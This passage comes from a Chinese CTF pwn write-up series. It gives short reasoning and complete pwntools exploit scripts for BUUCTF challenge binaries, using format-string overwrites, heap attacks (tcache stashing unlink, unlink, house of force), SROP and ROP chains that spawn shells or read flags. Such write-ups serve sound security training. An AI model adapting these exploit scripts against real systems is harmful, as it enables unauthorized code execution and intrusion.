p.sendlineafter(b'Your choice-> \n', '2')
p.sendafter(b'New Author name:\n', name)
p.sendafter(b'New contents:\n', content)
def exit():
p.sendlineafter(b'Your choice-> \n', '4')
show()
libc_base=int(p.recv(14),16)-libc.sym["puts"]
one_gadget = libc_base + 0xf1147
exit_hook = libc_base + 0x5f0040 + 3848
print(hex(exit_hook))
print(hex(libc_base))
add(0x68,b'a'*1)
#pause()
gdb.attach(p)
edit(p64(exit_hook)*2,p64(ogg)*2)
exit()
pause()
p.interactive()
hitcontraining_playfmt
思路:
这种格式化字符串做到吐了,没什么好说的,原理就那样。got表不可改就写rop链,可改就改got表为system。直接放exp把
Exp:
from pwn import *
sh =remote("node5.buuoj.cn",25983)
int16 = lambda x : int(x, base=16)
LOG_ADDR = lambda x, y: log.info("Addr: {} ===> {}".format(x, y))
gadgets = [0x3a80c, 0x3a80e, 0x3a812, 0x3a919, 0x5f065, 0x5f066]
libc = ELF("/home/giant/Desktop/buuctf5/libc-2.23_16-32.so")
context.arch="i386"
sh.recvlines(3)
sh.sendline("%6$p,%19$p")
msg = sh.recvline()
stack_addr, libc_addr = msg[:-1].split(b",")
stack_addr = int16(stack_addr.decode())
libc_addr = int16(libc_addr.decode())
LOG_ADDR("stack_addr", stack_addr)
LOG_ADDR("libc_addr", libc_addr)
libc.address = libc_addr - 247 - libc.sym['__libc_start_main']
LOG_ADDR("libc_base_addr", libc.address)
one_gadget = libc.offset_to_vaddr(gadgets[0])
# get ebp low addr
low_1_b = stack_addr & 0xff
# change ebp-->addr to retaddr
payload = "%{}c%6$hhn".format(low_1_b + 4).ljust(0x18, "a")
sh.sendline(payload)
sh.recv()
sleep(3)
# change retaddr to one_gadget
payload = "%{}c%10$hn".format(one_gadget & 0xffff).ljust(0x18, "a")
sh.sendline(payload)
sh.recv()
sleep(3)
# change ebp-->addr to retaddr (high addr)
payload = "%{}c%6$hhn".format(low_1_b + 4 + 2).ljust(0x10, "a")
sh.sendline(payload)
sh.recv()
sleep(3)
# change retaddr to one_gadget(high addr)
payload = "%{}c%10$hn".format((one_gadget >> 16) & 0xffff).ljust(0x18, "a")
sh.sendline(payload)
sh.recv()
sleep(3)
# recover ebp-->addr
payload = "%{}c%6$hhn".format(low_1_b + 0x10).ljust(0x18, "a")
sh.sendline(payload)
sh.recv()
sleep(3)
sh.sendline("quit")
sh.interactive()
qctf_2018_stack2
思路:
又是之前写过的题(),直接放exp,不解释
Exp:
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')
#p = process('./pwn')
p = remote("node5.buuoj.cn",27777)
elf = ELF('./pwn')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
def debug():
gdb.attach(p)
pause()
p.sendline(b'1')
p.sendline(b'1')
addr = [0x9B,0x85,0x04,0x8]
for i in range(4):
p.sendline(b'3')
p.sendline(str(0x84+i))
p.sendline(str(addr[i]))
p.sendline(b'5')
p.interactive()
npuctf_2020_level2
思路:
又来?
Exp:
from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
#
p=remote("node5.buuoj.cn",29546)
elf = ELF('./pwn')
libc = ELF('/home/giant/Desktop/buuctf5/libc_18_64.so')
p.send(b'%7$p.%9$p.')
libc_base=int(p.recvuntil(b'.')[-13:-1],16)-libc.sym['__libc_start_main']-231
stack=int(p.recvuntil(b'.')[-13:-1],16)-0x30-0xb8
rdi=libc_base+0x000000000002a3e5
ret=libc_base+0x0000000000029139
ret_addr=stack+0x8
lg('stack',stack)
lg('libc_base', libc_base)
c = int16(hex(stack)[-4:])
b = int16(hex(ret_addr)[-4:])
sleep(1)
p.send(b'%' + str(b).encode() + b'c%9$hn')
#pause()
one_gadget=libc_base+0x4f322
system,binsh=get_sb()
sleep(1)
lg('one_gadget',one_gadget)
a = int16(hex(ret_addr)[-2:])
b = int16(hex(ret_addr)[-4:])
d = int16(hex(one_gadget)[-12:-10])
#ret
#debug('b *$rebase(0x81f)')
for i in range(6):
payload = b'%' + str((a+i)).encode() + b'c%9$hhn'
s(payload.ljust(0x64,b'\x00'))
payload = b'%' + str((one_gadget>> 8*(i)) & 0xff).encode() + b'c%35$hhn'
s(payload.ljust(0x64,b'\x00'))
payload=b'66666666'
s(payload.ljust(0x64,b'\x00'))
p.interactive()
#debug()
'''
#pop rdi ret
lg('rdi', rdi)
payload = b'%' + str((a+8+i)).encode() + b'c%8$hhn'
sa(b'stdin>>\n', payload)
for i in range(6):
payload = b'%' + str((a+8+i)).encode() + b'c%8$hhn'
sa(b'stdin>>\n', payload)
payload = b'%' + str((rdi>> 8*(i)) & 0xff).encode() + b'c%12$hhn'
sa(b'stdin>>\n', payload)
#binsh
for i in range(6):
payload = b'%' + str((a+16+i)).encode() + b'c%8$hhn'
sa(b'stdin>>\n', payload)
payload = b'%' + str((binsh>> 8*(i)) & 0xff).encode() + b'c%12$hhn'
sa(b'stdin>>\n', payload)
for i in range(2):
payload = b'%' + str((a+22+i)).encode() + b'c%8$hhn'
sa(b'stdin>>\n', payload)
s=0
payload = b'%12$hhn'
sa(b'stdin>>\n', payload)
payload = b'%8$n'
sa(b'stdin>>\n', payload)
for i in range(6):
payload =b'%' + str((b+24+i)).encode() + b'c%43$hn'
sa(b'stdin>>\n', payload)
payload = b'%' + str((system>> 8*(i)) & 0xff).encode() + b'c%57$hhn'
sa(b'stdin>>\n', payload)
'''
pause()
inter()
jarvisoj_typo
思路:
异架构题目,第一次见,学习一下,这里要先安装qemu来模拟,关于qemu的安装可以看这篇文章
ubuntu20.04 PWN(含x86、ARM、MIPS)环境搭建_ubuntu powerpc编译环境-CSDN博客
这里需要用高一点版本的ida进行反汇编,不然生成不了伪代码。
不过这。。。有没有都无所谓吧。通过下面的指令来运行异架构下的指令
qemu-arm -L /usr/arm-linux-gnueabi ./typo
要调试的话需要先安装gdb-multiarch。这个可以去网上搜一下。然后可以需要再运行时加上这个才可以调试
qemu-arm -L /usr/arm-linux-gnueabi -g 10000 ./typo
然后就是在gdb里面执行这两条指令即可开始调试
接下来就是分析程序了,调试可知缓冲区长度为116,那么再看看有没有字符串。有/bin/sh
猜测应该是ret2text,看看谁调用了它,最终定位到这里
但是直接跳转到这里获取不了shell
所以应该要自己将binsh加载进来,下面是exp
Exp:
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')
p = process(['qemu-arm', './typo'])
#p=remote("node5.buuoj.cn",28916)
p.recv()
p.sendline('')
p.recv()
bin_sh=0x6C384
pop_r0_r4_pc=0x00020904
system=0x10BA8
payload = b'a'*112 + p32(pop_r0_r4_pc) + p32(bin_sh)*2 + p32(system)
p.sendline(payload)
p.interactive()
[2020 新春红包题]3
思路:
又是一个没学过的知识,最后也是看wp做出来的
可以看到是一道菜单堆题目,但是开了沙箱
堆题开沙箱的话会可能把bins弄的很乱。
输入666即可获得栈溢出
不过得先满足一些条件,无妨,我们再来看看delete功能
可以看到存在uaf漏洞,那么通过这个可以轻松泄露libc_base,随便可以把heap_base泄露出来
for i in range(10):
add(i,2,b'a'*1)
for i in range(8):
free(i)
show(7)
libc_base=u64(r.recv(6).ljust(8,b'\x00'))-96-0x10-libc.sym["__malloc_hook"]
print(hex(libc_base))
当然这题的libc版本是libc2.29所以我们曾经对tcache的double free攻击失效了,不仅不能直接
连续两次free(a)了哪怕free(a)->free(b)->free(a)也会被检查到,至于为什么可以看源码分析这里就不带着大家分析了。
这题的add函数是用calloc来实现动态内存分配的,calloc的特性是不会从tcache bin去取chunk的,而且add对应堆块大小是不能自定义的,所以打malloc_hook也没有机会,所以我们需要找到一种新的方法来劫持程序执行流
这里虽然有后门函数,但是它的条件比较苛刻,而且此时我们还不知道栈地址。先
通过调试可以知道这三个内存都位于堆段,第一个条件不好满足,不过第二个和第三个条件就已经满足了(因为图里的内存都位于比较特殊的堆段,在第一个0x1011的堆块里面所以申请不到那里去)。
所以这里需要用到Tcache Stashing Unlink Attack这个攻击有点类似于unsorted bin attack。那么有人可能要问了,为什么不用unsorted bin attack呢?当然是因为这个攻击在libc2.29的源码中添加了对此攻击的检查,而且很难绕过,因此基本上在libc2.29以后unsorted bin attack就基本消亡了,但是我们在高版本下有large bin attack攻击。
先来简单说一下Tcache Stashing Unlink Attack攻击吧
利用前提:
能篡改small bin上的bk指针
效果:
在任意地址上写一个 libc 地址
实操:
先准备6个tcache,再准备2个small bins把第二个small bins的BK指针改为target-0x10。再calloc分配堆块即可,这里如何分配出两个small bins可能有点难度,自己好好想想挺简单的。
然后就是calloc之后再攻击了,这样就可以进行再栈迁移写orw读取flag即可,开学了事情太多了根本不好学自己想学的内容
Exp:
from pwn import *
from struct import pack
import base64
context(os = 'linux', arch = 'amd64', log_level='debug')
p = process('./pwn')
#p = remote('node4.buuoj.cn', 29976)
elf = ELF('./pwn')
libc = ELF('/home/giant/glibc-all-in-one/2.29-0ubuntu2_amd64/libc-2.29.so')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()
def add(index, idx, content):
p.sendlineafter(b'Your input: ', b'1')
p.sendlineafter(b'idx: ', str(index))
p.sendlineafter(b': ', str(idx))
p.sendlineafter(b'content: ', content)
def free(index):
p.sendlineafter(b'Your input: ', b'2')
p.sendlineafter(b'idx: ', str(index))
def edit(index, content):
p.sendlineafter(b'Your input: ', b'3')
p.sendlineafter(b'idx: ', str(index))
p.sendlineafter(b'content: ', content)
def show(index):
p.sendlineafter(b'Your input: ', b'4')
p.sendlineafter(b'idx: ', str(index))
#gdb.attach(p, 'b *$rebase(0x144F)')
# leak libc_base
for i in range(8):
add(i, 4, b'a')
add(8, 1, b'a')
for i in range(8):
free(i)
show(7)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-96-0x10-libc.sym["__malloc_hook"]
show(1)
heap_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0x1270
# Tcache Stashing Unlink Attack
add(0, 4, b'a')
for i in range(6):
add(i, 2, b'a')
add(6, 1, b'a')
for i in range(6):
free(i)
# first small bin
add(3, 3, b'a')
add(0, 4, b'chunk0')
add(1, 1, b'chunk1')
free(0)
add(2, 3, b'chunk2')
add(3, 3, b'chunk3')
# second small bin
add(4, 4, b'chunk4')
add(5, 4, b'chunk5')
free(4)
add(6, 3, b'chunk6')
add(7, 3, b'/flag\x00')
# start -> Tcache Stashing Unlink Attack
payload = b'\x00'*0x300 + p64(0) + p64(0x101) + p64(heap_addr + 0x3f40) + p64(heap_addr + 0x250 + 0x800)
edit(4, payload)
add(8, 2, b'a')
# orw_rop
rdi = libc_base + 0x26542
rsi = libc_base + 0x26f9e
rdx = libc_base + 0x12bda6
leave = libc_base + 0x58373
open_ = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
payload = p64(0)
payload += p64(rdi) + p64(heap_addr + 0x4ba0) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(open_)
payload += p64(rdi) + p64(3) + p64(rsi) + p64(heap_addr + 0x270) + p64(rdx) + p64(0x50) + p64(read)
payload += p64(rdi) + p64(1) + p64(rsi) + p64(heap_addr + 0x270) + p64(rdx) + p64(0x50) + p64(write)
add(9, 4, payload)
print(' libc_base -> ', hex(libc_base))
print(' heap_addr -> ', hex(heap_addr))
# stack_jump
gdb.attach(p)
p.sendlineafter(b'Your input: ', b'666')
payload = b'a'*0x80 + p64(heap_addr + 0x4eb0) + p64(leave)
p.sendlineafter(b'What do you want to say?', payload)
print(p.recv())
注意你如果是Ubuntu22的话本地可能会打不通,因为22的乌班图的vmmap最高位会随机化,不一定为0x7f可能为0x72或者其他的等等。但是不用担心,远程是可以通的。
ciscn_2019_s_1
思路:
菜单堆题
malloc会给出堆地址
edit存在offbynull
但是只可以用两次,艹突然发现这个和下面的ciscn_2019_es_4题目一样那直接贴exp吧,思路去下面看吧
Exp:
from pwn import *
from struct import pack
import base64
context(os = 'linux', arch = 'amd64', log_level='debug')
p = process('./pwn')
#p = remote("node5.buuoj.cn",27319)
elf = ELF('./pwn')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
libc = ELF('/home/giant/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
#libc = ELF('/home/giant/Desktop/buuctf5/libc_2.27_18_64.so')
def debug():
gdb.attach(p)
pause()
def add(index, size, content):
p.sendlineafter(b'4.show\n', '1')
p.sendlineafter(b'index:\n', str(index))
p.sendlineafter(b'size:\n', str(size))
p.recvuntil(b'gift: ')
heap_base=int(p.recv(7),16)
p.sendafter(b'content:\n', content)
return heap_base
def free(index):
p.sendlineafter(b'4.show\n', '2')
p.sendlineafter(b'index:\n', str(index))
def edit(index, content):
p.sendlineafter(b'4.show\n', '3')
p.sendlineafter(b'index:\n', str(index))
p.sendafter(b'content:\n', content)
def show(index):
p.sendlineafter(b'4.show\n', '4')
p.sendlineafter(b'index:\n', str(index))
ptr=0x602118
for i in range(9):
add(i,0xf8,b'aa'+b'\n')
heap_base=add(9,0xf8,b'/bin/sh\x00\n')
for i in range(7):
free(i)
edit(7,p64(0)+p64(0xf1)+p64(ptr-0x18)+p64(ptr-0x10)+b'a'*0xd0+p64(0xf0))
free(8)
for i in range(7):
add(i,0xf8,b'aa'+b'\n')
free(9)
edit(7,p64(0)*3+p64(0x602100)+p64(0)+p64(heap_base))
free(9)
add(10,0xf8,p64(0x6022B0))
add(11,0xf8,b'a'*1)
add(12,0xf8,b'a'*0x30)
add(13,0xf8,b'a'*0x1)
show(13)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x61-448-0x10-libc.sym["__malloc_hook"]
free_hook=libc_base+libc.sym["__free_hook"]
system=libc_base+libc.sym["system"]
print(hex(heap_base))
print(hex(libc_base))
edit(7,p64(0)*3+p64(free_hook))
edit(7,p64(system))
add(14,0xf8,b'/bin/sh\x00')
free(14)
p.interactive()
#add(10,0x88,b'a'*1)
jarvisoj_level6_x64
思路:
菜单堆题
一道堆题目,没开pie
free功能存在uaf漏洞
不过edit有点不同,用的是realloc,不过就这
Exp:
from pwn import *
p=process("./pwn")
#p=remote("node5.buuoj.cn",29206)
elf=ELF("./pwn")
libc=ELF("/home/giant/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
def debug():
gdb.attach(p)
pause()
def show():
p.sendlineafter(b'Your choice: ',b'1')
def add(size, content):
p.sendlineafter(b'choice: ', b'2')
p.sendlineafter(b'note: ', str(size))
p.sendlineafter(b'note: ', content)
def edit(index,content):
p.sendlineafter(b'choice: ', b'3')
p.sendlineafter(b'number: ', str(index))
p.sendlineafter(b'note: ', str(len(content)))
p.sendlineafter(b'note: ', content)
def free(idx):
p.sendlineafter(b'Your choice: ',b'4')
p.sendlineafter(b'Note number: ',str(idx))
add(0x80, b'a'*0x80) #index 0
add(0x80, b'b'*0x80) #index 1
add(0x80, b'c'*0x80) #index 2
add(0x10, b'd'*0x10) #index 3
free(0)
free(2)
add(8, b'a'*8) #index 0
show()
p.recvuntil('a' * 8)
heap_addr = u64(p.recv(4).strip().ljust(8, b'\x00')) - 0x1940 + 0x30
print(' heap_addr -> ', hex(heap_addr))
free(0)
free(1)
free(3)
add(0x20, p64(0) + p64(0x110) + p64(heap_addr - 0x18) + p64(heap_addr - 0x10)) # index 0
payload = b'a'*0x80 + p64(0x110) + p64(0x90) + b'A'*0x80 + p64(0) + p64(0x91) + b'a'*0x80
add(len(payload), payload)
free(2)
payload = p64(1)*2 + p64(0x8) + p64(elf.got['atoi'])
edit(0,payload)
show()
libc_base = u64(p.recv(6)[-6:].ljust(8, b'\x00')) - libc.sym['atoi']
print(' libc_base -> ', hex(libc_base))
# atoi -> system
system = libc_base + libc.sym['system']
edit(0, p64(system))
# pwn
p.sendlineafter(b'choice: ', b'/bin/sh\x00')
p.interactive()
360chunqiu2017_smallest
思路:
确实是很小的一段程序,不过在汇编里面可以看到这是通过syscall来调用read的所以还有希望劫持程序控制流。不过我也是吐了,打了一晚上本地通了远程死活不通。真不知道抽的什么风,而且这题竟然连patch都patch不了,算了爱谁谁吧,我宁愿写LLVM和libc2.39的堆也不想写这种sb题目。先分析题目把
连汇编都是如此简短。这里read读入即可写返回地址。那么这里我们先读入3个vuln函数也就是0x4000B0,布置栈帧,为后面的攻击做准备,然后在下一次read的时候改一个B0为B3,从而绕过xor rax rax,执行write系统调用,泄露栈地址
syscall = 0x4000BE vuln = 0x4000B0 # leak start_addr payload = p64(vuln)*3 p.send(payload) payload = b'\xb3' p.send(payload) stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
再通过SROp调用read把b"/bin/sh"读入,同时也布置好下一次执行srop->execve需要的字节流,最好不要在第一次的时候读入,不然可能会有问题,这种远程通不了的话我的建议是搭建一台一模一样的乌班图去打。
rd = SigreturnFrame()
rd.rax = 0
rd.rdi = 0
rd.rsi = stack
rd.rdx = 0x400
rd.rsp = stack
rd.rip = syscall
payload = p64(vuln) + b'a'*8 + bytes(rd)
p.send(payload)
sleep(1)
payload = p64(syscall) + b'a'*7
p.send(payload)
# read binsh -> execev
sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = stack + 0x190 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack
sigframe.rip = syscall
payload = p64(vuln) + b'a'*8 + bytes(sigframe)
payload = payload.ljust(0x190, b'\x00') + b'/bin/sh\x00'
p.send(payload)
最后就是执行srop调用execve了
payload = p64(syscall) + b'a'*7
p.send(payload)
p.interactive()
上面的exp是别的师傅的,下面的才是我的,不过思路都是一样的,我也不清楚我的exp为什么通不了,但是上面的可以通
Exp:
from pwn import *
p=process("./pwn")
#p=remote("node5.buuoj.cn",27641)
elf=ELF("./pwn")
context.arch="amd64"
syscall_ret=0x4000BE
#leak stack_addr
payload=p64(0x4000BE)+p64(0x4000B0)+p64(0x4000BE)+p64(0x4000B0)*5+b'/bin/sh\x00'*1+b'fuck'*2
p.send(payload)
pause()
p.send(p8(0xb3))
p.recvuntil(b'fuckfuck')
stack_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(stack_addr))
p.recv()
#srop->read
sigframe1=SigreturnFrame()
sigframe1.rax = 0
sigframe1.rsi=stack_addr
sigframe1.rip=syscall_ret
sigframe1.rsp=stack_addr
sigframe1.rdx=0x400
payload=p64(0x4000BE)+p64(0x4000B0)+p64(0x4000BE)+flat(sigframe1)
p.send(payload)
pause()
#gdb.attach(p)
p.send(p64(syscall_ret)+b'a'*7)
#srop->getshell
sigframe1=SigreturnFrame()
sigframe1.rax = 0x3b
sigframe1.rdi=stack_addr+0x190
sigframe1.rip=syscall_ret
sigframe1.rsi=0
sigframe1.rdx=0
payload = p64(0x4000B0) + b'a'*8 + bytes(sigframe1)
payload = payload.ljust(0x190, b'\x00') + b'/bin/sh\x00'
p.send(payload)
sleep(1)
p.send(p64(syscall_ret)+b'a'*7)
p.interactive()
picoctf_2018_echo back
思路:
一次格式化字符串,直接打fini_array和printf_got,不过貌似fini_array打不了,那么就直接改puts为vuln吧,(格式化字符串已写吐)
Exp:
from pwn import *
from struct import pack
context(os = 'linux', arch = 'i386', log_level='debug')
#p = process('./pwn')
p = remote('node4.buuoj.cn', 27348)
elf = ELF('./pwn')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()
system = 0x8048460
vuln = 0x80485dc
printf_got = 0x0804A010
puts_got = 0x0804A01C
#gdb.attach(p, 'b *0x8048609')
# printf_got -> system puts_got -> vuln
# 4 8 60 84 85 dc
payload = b'%4c%23$hhn%4c%24$hn%88c%25$hhn%36c%26$hhn%1c%27$hhn%87c%28$hhnaa' + p32(printf_got + 2) + p32(printf_got + 3) + p32(printf_got) + p32(printf_got + 1) + p32(puts_got + 1) + p32(puts_got) + p32(printf_got + 2)
p.sendafter(b'message:\n', payload)
p.send(b'/bin/sh\x00')
p.interactive()
inndy_echo2
思路:
有是这种格式化字符串,没有技巧,全是手搓
Exp:
from pwn import *
from struct import pack
context(os = 'linux', arch = 'i386', log_level='debug')
#p = process('./pwn')
p = remote("node5.buuoj.cn",27219)
elf = ELF('./pwn')
#libc = ELF('buu/libc-2.23.so')
libc = ELF('/home/giant/Desktop/buuctf5/libc-2.23_16_64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()
#gdb.attach(p, 'b *$rebase(0x984)')
# leak pro_base
p.sendline(b'%41$p')
p.recvuntil(b'0x')
pro_base = int(p.recv(12), 16) - 74 - 0x9B9
print(' pro_base -> ', hex(pro_base))
# leak libe_base
p.sendline(b'%43$p')
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - 240 - libc.sym['__libc_start_main']
print(' libc_base -> ', hex(libc_base))
#
exit = pro_base + elf.got['exit']
one_gadget = libc_base + 0x45216
print(hex(one_gadget))
for i in range(0, 48, 16):
payload = b'%' + str((one_gadget >> i) & 0xFFFF).encode() + b'c%8$hn'
payload = payload.ljust(16, b'a') + p64(exit + i//8)
p.sendline(payload)
p.recv()
sleep(1)
p.sendline(b'exit')
p.interactive()
#pause()
warmup
思路:
又是一道全是系统调用的题,这题就不能像smallest那样用SROP了,你问我为什么?
溢出点在这里,你怎么也得输入0x24个字节才能控制程序执行流,而且之后ret 返回的还全是垃圾数据,你也不能布置栈帧。更操蛋的是这里不能泄露libc_base,全是系统调用,最后实在没办法看了wp,学长说这里是利用alarm的特性。
当之前调用了 alarm(0xa) 时,如果距离 n 秒再次调用 alarm 函数,那么就会返回 a-n ,我们也就能控制 eax 的值了,这里控制 eax 为 5,再接着系统调用,即可调用open,之后再通过read,write构造orw即可
然后剩下的就是大量调试布置栈帧写orw了,没什么好说的,调试即可,只是调试的时候在open需要注意一下
Exp:
from pwn import *
from struct import pack
context(os = 'linux', arch = 'i386', log_level='debug')
p = process('./pwn')
#p = remote("node5.buuoj.cn",27768)
elf = ELF('./pwn')
def debug():
gdb.attach(p)
pause()
read_addr = 0x804811D
vuln_addr = 0x804815A
write_addr = 0x8048135
flag_addr = 0x8049200
alarm_addr = 0x804810D
syscall = 0x804813a
payload = b'a'*0x20 + p32(read_addr) + p32(vuln_addr) + p32(0) + p32(flag_addr) + p32(0x10)
p.sendafter(b'2016!\n', payload)
p.send(b'/flag\x00'.ljust(0x10, b'\x00'))
sleep(5)
payload = b'a'*0x20 + p32(alarm_addr) + p32(syscall) + p32(vuln_addr) + p32(flag_addr) + p32(0)
p.send(payload)
#gdb.attach(p)
#read
payload = b'a'*0x20 + p32(read_addr) + p32(vuln_addr) + p32(3) + p32(flag_addr) + p32(0x30)
p.send(payload)
# write
payload = b'a'*0x20 + p32(write_addr) + p32(0) + p32(1) + p32(flag_addr) + p32(0x30)
p.send(payload)
pause()
print(p.recv())
hfctf_2020_marksman
思路:
程序逻辑不难
首先直接送我们libc_base,v6可以输入0x10个字节,然后后面就是对我们输入v6的地址的低三位字节进行修改。那么由于exit_hook和one_gadget的前面几位字节的相等,显然修改exit_hook为one_gadget是比较合理的。但是这个sub_BC2函数会限制我们输入one_gadget
可以看到one_gadget都被限制了,那么怎么办呢?这里看学长的wp是直接在one_gadget上面寻找一个可执行且影响不大的gadget然后再执行即可,但是这种方法可能需要多打几次。
所以我又找到了一篇比较好的博客,这个可以不用看运气,基本上都能通
hfctf_2020_marksman - LynneHuan - 博客园 (cnblogs.com)
Exp:
from pwn import *
from struct import pack
context(os = 'linux', arch = 'i386', log_level='debug')
#p = process('./pwn1')
p = remote('node5.buuoj.cn', 26050)
elf = ELF('./pwn1')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
libc = ELF('/home/giant/Desktop/buuctf5/libc_2.27_18_64.so')
def debug():
gdb.attach(p)
pause()
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - libc.sym['puts']
print(' libc_base -> ', hex(libc_base))
one_gadget = libc_base + 0x4f322 - 5
exit_hook = libc_base + 0x81df60
print(hex(exit_hook))
p.sendlineafter(b'shoot!shoot!\n', str(exit_hook))
#debug()
for i in range(0, 24, 8):
p.sendlineafter(b'biang!\n', chr((one_gadget >> i) & 0xFF))
p.interactive()
pwnable_simple_login
思路:
比较简单的一道题目,(真)签到题
correct为后门函数,这里Base64Decode猜也可以猜到是对我们输入的数据进行Base64解密,那么我们就需要对输入数据进行Base64加密,然后这里我们需要让auth函数返回1,才可执行correct。
如果你是这样想的那就掉陷阱里面了,我们怎么可能同时满足这个MD5和这个base64加密,这明显是不可能的,这里我们可以对v6输入0xc大小的字节,而
这里会把我们输入的0xc大小的内容复制给v4,然后即可控制ebp进行栈迁移,从而劫持程序执行流,到system("/bin/sh")进而getshell,什么你说不知道栈地址,建议仔细看看input
Exp:
from pwn import *
import base64
#p=remote("node5.buuoj.cn",26569)
p=process("./login")
#gdb.attach(p,'b *0x8049424')
payload=p32(0x08049284)*2+p32(0x811eb40)
payload = base64.b64encode(payload)
p.sendline(payload)
p.interactive()
bctf2016_bcloud
思路:
house of force之前有讲过类似的题目,貌似前面有,直接放exp了。不过现版本基本不会有house of force这么离谱的漏洞了,在libc2.29后就彻底消亡了。
Exp:
from pwn import *
#p=process("./pwn")
p=remote("node5.buuoj.cn",29907)
elf=ELF("./pwn")
libc=ELF("/home/giant/Desktop/buuctf5/libc-2.23_16-32.so")
def debug():
gdb.attach(p)
pause()
def init(name,org,Host):
p.sendafter(b"Input your name:\n",name)
p.sendafter(b"Org:\n",org)
p.sendafter(b"Host:\n",Host)
def add(size,content):
p.sendlineafter(b'option--->>',b'1')
p.sendlineafter(b'Input the length of the note content:\n',str(size))
p.sendlineafter(b'Input the content:\n',content)
def edit(idx,content):
p.sendlineafter(b'option--->>',b'3')
p.sendlineafter(b'Input the id:\n',str(idx))
p.sendlineafter(b'Input the new content:\n',content)
def free(idx):
p.sendlineafter(b'option--->>',b'4')
p.sendlineafter(b'Input the id:\n',str(idx))
def syn():
p.sendlineafter(b'option--->>',b'5')
p.sendafter(b'Input your name:\n', b'a'*0x40)
p.recvuntil(b'a'*0x40)
heap_addr = u32(p.recv(4)) - 8
p.sendafter(b'Org:\n', b'a'*0x40)
p.sendafter(b'Host:\n', p32(0xffffffff) + b'a'*0x3c)
print(' heap_addr -> ', hex(heap_addr))
heap_array = 0x0804B120
top_chunk_addr = heap_addr + 0xd8
print(' top_chunk_addr-> ', hex(top_chunk_addr))
offset = heap_array - top_chunk_addr - 0x10
add(offset, b'')
add(0x20,b'\x00'*1)
add(0x20,b'\x00')
add(0x60, p32(heap_array)*2) #index 1
add(0x10, b'a') #index 2
add(0x10, b'a') #index 3
edit(1,p32(0x0804B120)*2+p32(elf.got["free"])+p32(0x804b128))
